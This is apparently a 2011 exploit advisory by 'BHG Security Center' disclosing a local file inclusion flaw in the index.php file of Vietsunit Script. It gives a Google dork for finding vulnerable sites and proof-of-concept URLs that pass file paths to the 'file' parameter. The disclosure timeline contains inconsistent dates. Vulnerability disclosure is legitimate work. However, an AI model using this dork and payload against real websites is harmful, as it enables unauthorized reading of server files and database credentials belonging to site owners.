Vietsunit Script Local File Inclusion

`----------------------------------------------------------------  
Vietsunit Script <= (index.php) Local File Include Vulnerability  
----------------------------------------------------------------  
  
# Exploit Title:Vietsunit Script <= (index.php) Local File Include Vulnerability  
# Google Dork: inurl:"/modules/index.php?action=view file="  
# Application Name: [Vietsunit Script]  
# Date: 2011-12-9  
# Author: BHG Security Center  
# Home: Http://black-hg.org  
# Vendor Response(s): http://www.vietsunit.com/  
# Version: [ 1.0 ]  
# Impact : [ Low ]  
# Tested on: [centos 5.6 /apache]  
# CVE : Webapps  
  
+-----------------------+  
| LFI Vulnerability |  
+-----------------------+  
  
Description: You can get the database information and hack into the  
system to apply ~ Reading the source files to a website is very easy  
to impress  
  
# PoC(s):  
  
http://[HOST]/modules/index.php?action=view&file=[LFI]  
  
http://[HOST]/modules/index.php?action=view&file=/home/uSER/public_html/intro.php  
<> True  
  
  
  
# Reference:  
[1] For more information about this vulnerability (URL:  
http://www.hakipedia.com/index.php/Local_File_Inclusion)  
  
  
# Important Notes:  
- Vendor did not respond to the email as well as the phone. As there  
is not any contact form or email address in the website, we have used  
all the emails which had been found by searching in Google such as  
support, info, and so on.  
  
[-] Disclosure timeline:  
  
[4/12/2011] - Vulnerabilities discovered  
[6/10/2011] - Others vulnerabilities discovered  
[7/10/2011] - Issues reported to http://black-hg.org  
[9/10/2011] - Public disclosure  
  
# Greets To :  
  
Net.Edit0r ~ A.Cr0x ~ 3H34N ~ 4m!n ~ tHe.k!ll3r ~ Cyrus ~ 2MzRp  
  
ArYaIeIrAn ~ Mikili ~ NoL1m1t ~ cmaxx ~ r3v0lter ~ Mr.XHat  
  
G3n3Rall ~ M4hd1 ~ Cru3l.b0y ~ HUrr!c4nE ~ s3cure.p0rt  
  
THANKS TO ALL Iranian HackerZ ./Persian Gulf  
  
===========================================[End]=============================================  
  
  
`